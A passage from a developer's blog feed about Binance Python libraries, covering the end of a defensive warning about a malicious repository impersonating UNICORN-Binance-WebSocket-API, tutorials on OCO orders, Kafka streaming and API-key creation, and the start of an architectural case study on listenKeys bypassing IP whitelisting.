<ul>
<li><p>Identified a public GitHub repository using the <strong>UNICORN-Binance-WebSocket-API</strong> name while the legitimate project is maintained separately.</p>
</li>
<li><p>Reviewed the publicly exposed startup path and observed behavior consistent with staged Windows payload execution.</p>
</li>
<li><p>Decompiled the committed <code>.pyc</code> files and confirmed they do not contain a separate hidden payload path beyond the visible source.</p>
</li>
<li><p>Preserved technical evidence and documented the relevant indicators.</p>
</li>
<li><p>Prepared a GitHub abuse report for repository review.</p>
</li>
</ul>
<h2>Recommended Response for Users</h2>
<p>If you executed this repository on a Windows system, I would treat that host as potentially compromised.</p>
<p>Recommended next steps:</p>
<ol>
<li><p>Isolate the system.</p>
</li>
<li><p>Preserve evidence before wiping anything.</p>
</li>
<li><p>Review endpoint protection / antivirus / EDR telemetry.</p>
</li>
<li><p>Inspect recent process execution and temporary-file activity.</p>
</li>
<li><p>Review outbound connections.</p>
</li>
<li><p>Rotate any potentially exposed credentials.</p>
</li>
<li><p>Revoke and recreate exchange/API credentials where applicable.</p>
</li>
</ol>
<h2>What I Am Doing Next</h2>
<p>I am preserving the evidence and preparing a report through GitHub’s abuse reporting process.</p>
<p>GitHub documents active malware or exploit-related abuse handling here:</p>
<ul>
<li><a href="https://docs.github.com/en/site-policy/acceptable-use-policies/github-active-malware-or-exploits">GitHub Active Malware or Exploits Policy</a></li>
</ul>
<h2>Final Note</h2>
<p>I am publishing this as a defensive security warning.</p>
<p>This post is not about drama, branding, or speculation for its own sake.</p>
<p>It is about documenting a fraudulent repository that borrows the identity of an established project while exposing users to behavior consistent with staged malware delivery.</p>
<p>Open source depends on trust.</p>
<p>If someone hijacks a trusted project name to stage a payload, that is not just abuse of one maintainer. It is abuse of the ecosystem.</p>
<hr />
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated!</p>
<p>Thank you for reading! ¯\_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[Buy an Asset and instantly create a Take Profit and Stop Loss OCO Sell Order using Python in Binance Isolated Margin]]></title><description><![CDATA[Automate your Binance trading strategy by creating OCO sell orders with Python in isolated margin accounts.

There is always the justified desire to buy an asset and at the same time to create a take ]]></description><link>https://blog.technopathy.club/buy-an-asset-and-instantly-create-a-take-profit-and-stop-loss-oco-sell-order-using-python-in-binance-isolated-margin</link><guid isPermaLink="true">https://blog.technopathy.club/buy-an-asset-and-instantly-create-a-take-profit-and-stop-loss-oco-sell-order-using-python-in-binance-isolated-margin</guid><category><![CDATA[unicorn-binance-rest-api]]></category><category><![CDATA[Python]]></category><category><![CDATA[binance]]></category><category><![CDATA[OCO orders]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Tue, 21 Apr 2026 09:17:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/80d23f07-2913-4ea7-bebe-3c49733a54d4.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>Automate your Binance trading strategy by creating OCO sell orders with Python in isolated margin accounts.</p>
</blockquote>
<p>There is always the justified desire to buy an asset and at the same time to create a take profit and a stop loss order. In this way, if a profit is made, the asset is sold and any risks are minimized.</p>
<p>This strategy consists of two orders: a BUY and an OCO SELL order.</p>
<p>OCO stands for "<a href="https://academy.binance.com/en/glossary/oco-order">One Cancells the Other</a>" and creates both a sell order for Take Profit and one for Stop Loss:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/7f0a621d-882c-4a43-82c9-edcdbc40839c.png" alt="" style="display:block;margin:0 auto" />

<p>In this tutorial we will create a Market Buy Order for Binance Isolated Margin in a Python Script and buy some BTC with 15 USDT. We will take the purchased amount of BTC and use it to create an OCO Sell Order that includes both Take Profit and Stop Loss (LIMIT).</p>
<p>In order for the code from this example to work for you, you need to transfer at least 15 USDT to your <a href="https://www.binance.com/en/support/faq/how-to-use-the-isolated-margin-mode-on-binance-2da03a8901de4754ab98800a3a92fdd4">Isolated Margin account on Binance</a> and you need an <a href="https://blog.technopathy.club/how-to-create-a-binance-api-key-and-api-secret">API key/secret pair from Binance.com</a>.</p>
<p>Ok, here we go :)</p>
<p>First, make sure that the latest <a href="https://github.com/oliver-zehentleitner/unicorn-binance-rest-api">UNICORN Binance REST API</a> version is installed:</p>
<pre><code class="language-bash">$ python3 -m pip install unicorn-binance-rest-api --upgrade
</code></pre>
<p>Download this script and enter your API key/secret pair:</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/be1c4880b79db7596cf40b7d169b72f6">https://gist.github.com/oliver-zehentleitner/be1c4880b79db7596cf40b7d169b72f6</a></p>

<p>The comments in the script should help you understand the code.</p>
<p>Watch this video to see how I start the script and what happens on Binance:</p>
<p><a class="embed-card" href="https://youtu.be/iuwoweIFJL4">https://youtu.be/iuwoweIFJL4</a></p>

<hr />
<p>I hope you found this tutorial informative and enjoyable!</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated!</p>
<p>Thank you for reading, and happy coding!</p>
]]></content:encoded></item><item><title><![CDATA[Passing Binance Market Data to Apache Kafka in Python with aiokafka]]></title><description><![CDATA[Note (2026): CloudKarafka has discontinued their hosted Kafka service — a more up-to-date tutorial on Kafka alternatives is coming soon!

Using a message queuing cluster like Apache Kafka is an excell]]></description><link>https://blog.technopathy.club/passing-binance-market-data-to-apache-kafka-in-python-with-aiokafka</link><guid isPermaLink="true">https://blog.technopathy.club/passing-binance-market-data-to-apache-kafka-in-python-with-aiokafka</guid><category><![CDATA[Python]]></category><category><![CDATA[kafka]]></category><category><![CDATA[binance]]></category><category><![CDATA[unicorn-binance-websocket-api]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Tue, 21 Apr 2026 08:58:50 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/eb96a10c-b2da-4aa5-af7b-19b22bb6e85e.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><strong>Note (2026):</strong> CloudKarafka has discontinued their hosted Kafka service — a more up-to-date tutorial on Kafka alternatives is coming soon!</p>
</blockquote>
<p>Using a message queuing cluster like Apache Kafka is an excellent solution for handling a large amount of real-time data from Binance in a redundant and scalable way. Apache Kafka is designed to handle high-volume real-time data streams, providing efficient and reliable message queuing and streaming capabilities. By setting up a Kafka cluster, you can ensure that your data is replicated across multiple nodes and partitions, allowing for failover and high availability.</p>
<p>Additionally, Kafka's distributed architecture allows for easy scaling as your data needs grow. This makes it an ideal solution for processing Binance's real-time data, which can be particularly high volume and time-sensitive.</p>
<p>With <a href="https://kafka.apache.org">Apache Kafka</a> and the Python libraries <a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api">UNICORN Binance WebSocket API</a> and <a href="https://pypi.org/project/aiokafka">aiokafka</a>, you can <strong>build a robust and scalable real-time data processing system that can handle even the most demanding workloads</strong>.</p>
<h4>Okay, what are you going to learn here?</h4>
<p>First, we'll create a free trial system for you at <a href="https://www.cloudkarafka.com">CloudKarafka</a>. This is a cool Kafka cloud service where you can get free access to a shared Kafka cluster consisting of three cluster nodes within minutes and without any significant configuration, and use and test both SSL and user authentication. In the free version, you can manage the Topics via a web interface and produce and consume them manually in the web interface as well as automatically via a websocket connection. The service is optionally hosted on AWS, Google or Azure and you can also choose the geo location.</p>
<p>If you like CloudKarafka's service, you can upgrade to a professional paid subscription that includes many more features such as logging, monitoring, and other security features like firewall, certificates, users, ACLs and more. Their support chat is very fast and helpful.</p>
<p>After that I will show you how you can receive data of any kind from <a href="https://www.binance.com">Binance</a> via websocket connection in real time with the <a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api">UNICORN Binance WebSocket API</a> and send it asynchronously to the Kafka cluster with the library <a href="https://pypi.org/project/aiokafka">aiokafka</a>.</p>
<p>To make the tutorial complete, we will read (consume) the data from the Kafka cluster with a separate Python script. You can extend this script according to your needs and run it in separate distributed processes to share the load of data processing.</p>
<p>Reading instructions can also be funny and so I don't want to deprive you of these two illustrations that made me smile while researching on <a href="https://www.confluent.io/blog/apache-kafka-vs-enterprise-service-bus-esb-friends-enemies-or-frenemies/">https://www.confluent.io/blog/apache-kafka-vs-enterprise-service-bus-esb-friends-enemies-or-frenemies</a>:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/f9ba08e2-bd08-41cd-87d5-67cf231cd135.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Microservices WRONG</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/e6bedbb4-b054-41b6-8219-a28bad0584fe.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Microservices CORRECT</strong></p>
<p>The blog article from Confluent is also worth reading apart from the two funny pictures (I hope you share my humor), but I guess if you read this, you already understood what it's about. So let's get started!</p>
<h4>Table of Contents</h4>
<ol>
<li><p>Creating the Apache Kafka test environment</p>
</li>
<li><p>Receive data from Binance and throw it into the Kafka cluster</p>
</li>
<li><p>Read the data from the Kafka cluster</p>
</li>
</ol>
<hr />
<h3>1. Creating the Apache Kafka test environment</h3>
<p>The first step is to sign up for CloudKarafka for free: <a href="https://customer.cloudkarafka.com/login">https://customer.cloudkarafka.com/login</a></p>
<p>Register with your email address, GitHub or Google account. After signing up, you will first be asked to create a team. Fill out the page and click on "<strong>Create team</strong>".</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/8225404f-89fe-4b04-ae0e-84815257186c.png" alt="" style="display:block;margin:0 auto" />

<p>If that worked, you have the option to create a new instance.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/8e213bc8-71a5-4230-8bd9-39e86e263e33.png" alt="" style="display:block;margin:0 auto" />

<p>Don't let the yellow warnings make you nervous, no personal data is required for the trial version.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/eec4304f-cbb8-4de0-9457-e21a1a0ebbbc.png" alt="" style="display:block;margin:0 auto" />

<p>Now you can choose who can host your project and where this should be done. Click on "<strong>Review</strong>" to continue.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/fd10c75d-e0f9-4d74-b739-3e7a2c77c1c3.png" alt="" style="display:block;margin:0 auto" />

<p>If everything fits, confirm the configuration and create the instance.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/57884196-12d2-4cc4-80b1-e1aaa24a8c3f.png" alt="" style="display:block;margin:0 auto" />

<p>Now your shared Apache Kafka instance is available. To manage it, please click on the instance name.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/81f159b6-e4af-42a5-a600-e53ca87168a9.png" alt="" style="display:block;margin:0 auto" />

<p>Note the values of these parameters from the "<strong>OVERVIEW</strong>": Hostname, Default user, Password and Port</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/794df4a5-3980-4fa5-81e1-d53c2b9f4bd0.png" alt="" style="display:block;margin:0 auto" />

<p>The goal of this example is to read from the Binance "trades" webstream the price of each trade from specified markets in real time and pass it to Kafka. Assuming we receive the information of the trades for the markets "btcusdt", "ethusdt" and "ltcusdt", it would be practical to create the following topics for them: <em>"btcusdt_binance_spot_last_trade_price"</em>, <em>"ethusdt_binance_spot_last_trade_price"</em>, <em>"ltcusdt_binance_spot_last_trade_price"</em></p>
<p>To get to the corresponding interface click on "<strong>KAFKA</strong>" in the left menu and then on "<strong>TOPICS</strong>".</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/1cc2bf64-18c0-4c20-8b55-015c82f727c6.png" alt="" style="display:block;margin:0 auto" />

<p>Create the topic <em>"btcusdt_binance_spot_last_trade_price"</em>.</p>
<blockquote>
<p><em><strong>Note:</strong></em> Please note that in the free trial version of CloudKarafka a prefix must be used! In this example the prefix is "<strong>pfyrfgiv-</strong>". Therefore the final name is "<strong>pfyrfgiv-btcusdt_binance_spot_last_trade_price</strong>". For a free test this is good enough!</p>
</blockquote>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/81c646bb-09a3-4281-9256-b10ea0c62347.png" alt="" style="display:block;margin:0 auto" />

<p>Repeat the last step and create more topics for <em>"ethusdt_binance_spot_last_trade_price"</em> and <em>"ltcusdt_binance_spot_last_trade_price"</em>.</p>
<p>This completes the setup of the Kafka cluster and we can start creating the Python script.</p>
<hr />
<h3>2. Receive data from Binance and throw it into the Kafka Cluster</h3>
<p>For the Python script to work, we first install the dependencies:</p>
<pre><code class="language-bash">$ python3 -m pip install aiokafka --upgrade
$ python3 -m pip install unicorn-binance-websocket-api --upgrade
</code></pre>
<p>Since as of today (29–03–2024) kafka-python has released many updates but no new version since 2020, I recommend installing kafka from GitHub:</p>
<pre><code class="language-bash">$ python3 -m pip install git+https://github.com/dpkp/kafka-python.git
</code></pre>
<p>Copy or download the following Python script and paste your Kafka credentials:</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/92b632f582df22523b1d5593faa0a4f4">https://gist.github.com/oliver-zehentleitner/92b632f582df22523b1d5593faa0a4f4</a></p>

<p>If you have followed the previous instructions 1 to 1, the script is now ready and can be started by you!</p>
<p><a class="embed-card" href="https://youtu.be/fnQXNU0kl5E">https://youtu.be/fnQXNU0kl5E</a></p>

<p>I hope everything works out for you so far, should anything go differently for you, feel free to write me in the comments. But in any case take a look at the created logfile, it should be named like the executed script with ".log" at the end.</p>
<hr />
<h3>3. Read the data from the Kafka cluster</h3>
<p>The easiest way to check and admire your work is to open CloudKarafka browser and activate a "<strong>Consumer</strong>".</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/bc0cd98c-b0b8-4f2e-b6a9-b0dc60e05973.png" alt="" style="display:block;margin:0 auto" />

<p>Activate the Consumer for the Topic <em>"<strong><strong>your_prefix</strong></strong>-btcusdt_binance_spot_last_trade_price"</em> — this Topic usually has the highest trade frequency.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/a7d87efa-cac9-4e8f-b23c-adf279be497a.png" alt="" style="display:block;margin:0 auto" />

<p>When you put everything together so far, this is what it looks like:</p>
<p><a class="embed-card" href="https://youtu.be/9t2HXqyamtk">https://youtu.be/9t2HXqyamtk</a></p>

<p>But now we want to fetch the data with a Python script so that you can process them as you like. This script Consumes the <em>"<strong><strong>your_prefix</strong></strong>-btcusdt_binance_spot_last_trade_price"</em> Topic, you only have to replace the login data and the topic prefix with yours.</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/3750a202a3e729ae8147aa08c7f46289">https://gist.github.com/oliver-zehentleitner/3750a202a3e729ae8147aa08c7f46289</a></p>

<p>Copy the script twice and change the topic once to <em>"<strong><strong>your_prefix</strong></strong>-ethusdt_binance_spot_last_trade_price"</em> and once to <em>"<strong><strong>your_prefix</strong></strong>-ltcusdt_binance_spot_last_trade_price"</em>.</p>
<p>Now you should have a complete system with one data collector and three data processors that allows you to receive data from Binance via websocket and process it via a Kafka cluster in separate distributed applications.</p>
<p><a class="embed-card" href="https://youtu.be/UHANyKa-G6Y">https://youtu.be/UHANyKa-G6Y</a></p>

<p>Of course, you could also redundantly receive and feed into Kafka and create multiple consumers for a Topic. I hope you have understood the basic concept and can now adapt it according to your ideas and requirements. 🚀</p>
<hr />
<p>I hope you found this tutorial informative and enjoyable!</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated!</p>
<p>Thank you for reading, and happy coding!</p>
]]></content:encoded></item><item><title><![CDATA[How to create a Binance API Key and API Secret?]]></title><description><![CDATA[You want to connect a script or trading bot to the Binance API?
In order to proceed, you'll need an API key/secret pair. I'll explain how to create this quickly and concisely in the following steps!

]]></description><link>https://blog.technopathy.club/how-to-create-a-binance-api-key-and-api-secret</link><guid isPermaLink="true">https://blog.technopathy.club/how-to-create-a-binance-api-key-and-api-secret</guid><category><![CDATA[binance]]></category><category><![CDATA[api]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Mon, 20 Apr 2026 14:53:42 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/c77746b5-193c-4a14-a575-75dc4fba8c76.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>You want to connect a script or trading bot to the Binance API?</strong></p>
<p><strong>In order to proceed, you'll need an API key/secret pair. I'll explain how to create this quickly and concisely in the following steps!</strong></p>
<hr />
<h3>Create API key/secret pair for Binance.com</h3>
<p>First, please log in to <a href="https://www.binance.com">binance.com</a>. If you don't have a Binance user account yet, you can sign up via my <a href="https://www.binance.com/en/activity/referral-entry/CPA?fromActivityPage=true&amp;ref=CPA_008DXU7CWB">referral link</a>. With this we both get 100 USDT cashback vouchers for a 50 USD deposit.</p>
<p>Okay, let's get started!</p>
<h4>Step 1</h4>
<p>Click on the account button:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/b4a96a50-aec9-4903-8ef8-e6fe157a9c3a.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 2</h4>
<p>And then on "API Management":</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/393608b0-b391-4c11-b99e-4db328dfef3f.png" alt="" style="display:block;margin:0 auto" />

<p>Now you are on the page where you can create, edit and delete your API key/secret pairs and define their respective permissions and IP whitelisting.</p>
<h4>Step 3</h4>
<p>To create an API access, next click on the yellow "create API" button in the upper right corner:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/039b6652-8f9e-42f6-aeb7-2a1e21f1318c.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 4</h4>
<p>Now a modal window pops up and you can decide which API key type you want to create. The definitely easier and faster process is the "System generated" HMAC-SHA256 type — the advantage of the "Self-generated" RSA type (private/public key pair) is that technically not even Binance knows your key for signing and RSA key pairs can also be stored with higher security, as they can be stored in a LUKS container or HSM and the mandatory entry of a passphrase can be activated to make the keys usable.</p>
<p>At the moment RSA signatures are not yet supported by the <a href="https://github.com/oliver-zehentleitner/unicorn-binance-suite">UNICORN Binance Suite</a>, as soon as this is the case we will adapt the instructions here.</p>
<p>So we continue with "System generated" and click "Next":</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/62238773-31c7-427b-a8ce-0ea03ac84f98.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 5</h4>
<p>Since you can create multiple API Keys with different permissions and IP whitelists, you need to enter a label in this step. This will help you to identify your API key/secret pairs. To continue click on "Next":</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/21a49245-a8d0-454d-88ea-19766df6208b.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 6</h4>
<p>For security purposes, Binance wants you to play the Binance Sliding game:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/fedbe39f-2152-4faf-a8e9-fc4b0063eddc.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 7</h4>
<p>First you need to request an email verification code:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/6fcec1a5-089d-43e5-94da-ddabb76b29df.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 8</h4>
<p>Check your email inbox (and spam folder if necessary), Binance will now immediately send you an email with a verification code:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/507deb47-6a30-45ea-9b99-8b78080c0fda.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 9</h4>
<p>Copy the verification code from the email and paste it here:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/4e4e59ec-f353-4589-b5cb-6f736479fa1b.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 10</h4>
<p>Open Google's Authenticator app on your smartphone and enter the code for your user account. To continue, click on "Submit":</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/f88cb4c6-0caf-47e4-8fb8-cf2e70cc202b.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 11</h4>
<p>Immediately copy the API key/secret pair to a safe place, it will be shown to you only once! If you do not want to have read-only access to the API, you have not yet finished configuring the API key/secret pair.</p>
<p>All further permissions you have to enable explicitly and as soon as you grant further permissions, an IP whitelist is mandatory!</p>
<h4>Step 12</h4>
<p>Click on "Edit restrictions":</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/79cbdc2a-46b4-4cca-846f-2544f00746cb.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 13</h4>
<p>Before you can enable the API Restrictions check boxes, you must select "Restrict access to trusted IPs only (Recommended)" under "IP access restrictions" and whitelist one or more IPs:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/50dfaf00-fcae-4b72-a230-2aec0a66fe73.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 14</h4>
<p>Now you can grant the desired permissions:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/81cd235f-a77d-4391-8647-32d76b439ad0.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 15</h4>
<p>When you have set everything, click on "Save":</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/73926bb0-bde8-4c40-8e4d-d5b74d6f658a.png" alt="" style="display:block;margin:0 auto" />

<p>To save the new permissions and the IP whitelist you have to run the "Security Verification" from step 7 to step 10 again.</p>
<p>Now you can use your API key/secret pair!</p>
<hr />
<p>I hope you found this tutorial informative and enjoyable!</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated!</p>
<p>Thank you for reading, and happy coding!</p>
<hr />
<p><em>Image source:</em> <a href="https://pixabay.com"><em>pixabay.com</em></a></p>
]]></content:encoded></item><item><title><![CDATA[When IP Whitelisting Isn't What It Seems: A Real-World Case Study from the Binance API]]></title><description><![CDATA[A case study on how Binance's listenKey design bypasses IP whitelisting, why Bugcrowd dismissed it, and what this teaches us about API security in 2025.

Update (2026-04-20): This article was original]]></description><link>https://blog.technopathy.club/when-ip-whitelisting-isn-t-what-it-seems-a-real-world-case-study-from-the-binance-api</link><guid isPermaLink="true">https://blog.technopathy.club/when-ip-whitelisting-isn-t-what-it-seems-a-real-world-case-study-from-the-binance-api</guid><category><![CDATA[Python]]></category><category><![CDATA[binance]]></category><category><![CDATA[api security]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Mon, 20 Apr 2026 14:20:30 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/e43e64f5-e5a5-4d97-8b19-46e6fcbe0057.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>A case study on how Binance's listenKey design bypasses IP whitelisting, why Bugcrowd dismissed it, and what this teaches us about API security in 2025.</p>
<blockquote>
<p><strong>Update (2026-04-20):</strong> This article was <a href="https://medium.com/technopathy/when-ip-whitelisting-isnt-what-it-seems-a-real-world-case-study-from-the-binance-api-816c4312d6d0">originally published on <strong>Medium on November 23, 2025</strong></a>, and has since been migrated to this blog. Since then, Binance has retired the old <code>listenKey</code>-based model for <strong>Spot User Data Streams</strong> from its Spot documentation and moved user data subscriptions to the <strong>WebSocket API</strong>. As a result, this post should be read as a case study of the earlier Spot architecture at the time of the original disclosure. In <strong>Derivatives/Futures</strong>, however, <code>listenKey</code>-based user data stream mechanisms are still present in the current documentation, so the transition does not appear to be fully uniform across all Binance product lines.</p>
</blockquote>
<blockquote>
<p><strong>Update (2026-04-23):</strong> Since publishing this case study, I uncovered a separate GitHub malware campaign that used the <strong>UNICORN Binance WebSocket API</strong> ecosystem as bait.<br />While technically distinct from the listenKey issue discussed here, it makes one thing very concrete: once a host is compromised, assumptions about what IP whitelisting or related boundaries do and do not protect become far more consequential.<br />Follow-up research: <a href="https://blog.technopathy.club/from-a-coffee-in-bed-google-search-to-a-stealc-linked-campaign-the-story-behind-nailproxy-space">From a coffee-in-bed Google search to a StealC-linked campaign — the story behind nailproxy.space</a></p>
</blockquote>
<hr />
<p>In 2024, I discovered an unexpected API behavior in <strong>Binance</strong>, the world's largest crypto exchange.</p>
<p>I reported the issue twice through their official bug bounty program on <strong>Bugcrowd</strong> (<em>Submission ID 3897aec7–373d-46b2-b544–29bba9b04a0b from 09 Dec 2024 and b33df044–8db1–446f-9613–3d498067a995 from 18 Dec 2024</em>) — both times the report was closed as:</p>
<ul>
<li><p><strong>"Not security relevant"</strong></p>
</li>
<li><p><strong>"Not applicable"</strong></p>
</li>
<li><p>Essentially framed as <strong>"social engineering"</strong></p>
</li>
</ul>
<p>This article contains <strong>zero exploit code</strong>, <strong>zero harmful details</strong>, <strong>zero endpoints</strong>, and is purely an <strong>architectural case study</strong> — safe, abstract and intended for DevSecOps engineers, API designers, and security researchers. Anyone with a Binance account who knows a little bit of programming or can ask an AI can verify what I am claiming for themselves!</p>
<p><a class="embed-card" href="https://youtu.be/y9dGtHLEBp8?si=nuKtzWajhIApdfEg">https://youtu.be/y9dGtHLEBp8?si=nuKtzWajhIApdfEg</a></p>

<p>Watch this 5-min live demo first — then read the full technical breakdown below.</p>
<h4>Why publish it?</h4>
<p>Because local inconsistencies in trust boundaries matter. And because after ~11 months, the underlying behavior still exists. And because Bugcrowd, from my perspective, did not fulfill its role as a neutral and fair mediator in this case — which is the very purpose bug bounty platforms are supposed to serve for researchers.</p>
<ul>
<li><p><a href="#what-users-expect-from-ip-whitelisting">What Users Expect From IP Whitelisting</a></p>
</li>
<li><p><a href="#the-real-model-api-keys-vs-listenkeys">The Real Model: API Keys vs. listenKeys</a></p>
</li>
<li><p><a href="#critical-detail-you-can-obtain-the-listenkey-without-the-secret">Critical Detail: You Can Obtain the listenKey WITHOUT the Secret</a></p>
</li>
<li><p><a href="#the-core-security-mismatch-whitelisting-protects-the-api-key-not-the-listenkey">The Core Security Mismatch: Whitelisting Protects the API Key, Not the listenKey</a></p>
</li>
<li><p><a href="#a-supply-chain-attack-needs-zero-user-interaction">A supply chain attack needs zero user interaction</a></p>
</li>
<li><p><a href="#why-this-isnt-just-social-engineering">Why This Isn't "Just Social Engineering"</a></p>
</li>
<li><p><a href="#real-world-impact-without-sensationalism">Real-World Impact (Without Sensationalism)</a></p>
</li>
<li><p><a href="#bugcrowds-handling--a-systemic-problem">Bugcrowd's Handling — A Systemic Problem</a></p>
</li>
<li><p><a href="#what-a-fair-process-would-have-looked-like">What a Fair Process Would Have Looked Like</a></p>
</li>
<li><p><a href="#lessons-for-devsecops--api-designers">Lessons for DevSecOps &amp; API Designers</a></p>
</li>
<li><p><a href="#closing-thoughts">Closing Thoughts</a></p>
</li>
</ul>
<hr />
<h3>What Users Expect From IP Whitelisting</h3>
<p>Binance allows API keys to be restricted to specific IP addresses.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/ff80d653-a760-446d-bd76-2eff2c372a50.png" alt="" style="display:block;margin:0 auto" />

<p>This gives users a very strong expectation:</p>
<blockquote>
<p><em><strong>"Even if my API key leaks, nobody can use it unless they are on my whitelisted IPs."</strong></em></p>
</blockquote>
<p>That belief is the <em>entire purpose</em> of whitelisting.</p>
<p>It makes developers comfortable embedding an API key inside:</p>
<ul>
<li><p>Trading bots</p>
</li>
<li><p>Cloud workloads</p>
</li>
<li><p>Docker containers</p>
</li>
<li><p>CI/CD tools</p>
</li>
<li><p>Third-party libraries</p>
</li>
<li><p>Older servers</p>
</li>
<li><p>Desktop applications</p>
</li>
</ul>
<p>Because the assumption is:</p>
<blockquote>
<p><em><strong>"My key is useless anywhere else."</strong></em></p>
</blockquote>
<p>This assumption is reasonable. But — it is wrong.</p>
<hr />
<h3>The Real Model: API Keys vs. listenKeys</h3>
<p>Binance's API architecture includes:</p>
<h4>Primary credentials</h4>
<ul>
<li><p><code>apiKey</code></p>
</li>
<li><p><code>secretKey</code> (for HMAC signatures)</p>
</li>
</ul>
<h4>Secondary credential</h4>
<ul>
<li><strong>listenKey</strong> (used for user data streams)</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/c1dd644c-f551-4aba-833f-184be775295e.png" alt="" style="display:block;margin:0 auto" />

<p>This is not a payload vulnerability — it is an architectural trust-boundary flaw.</p>
<p>User data streams show <strong>high-value real-time trading telemetry</strong>, including:</p>
<ul>
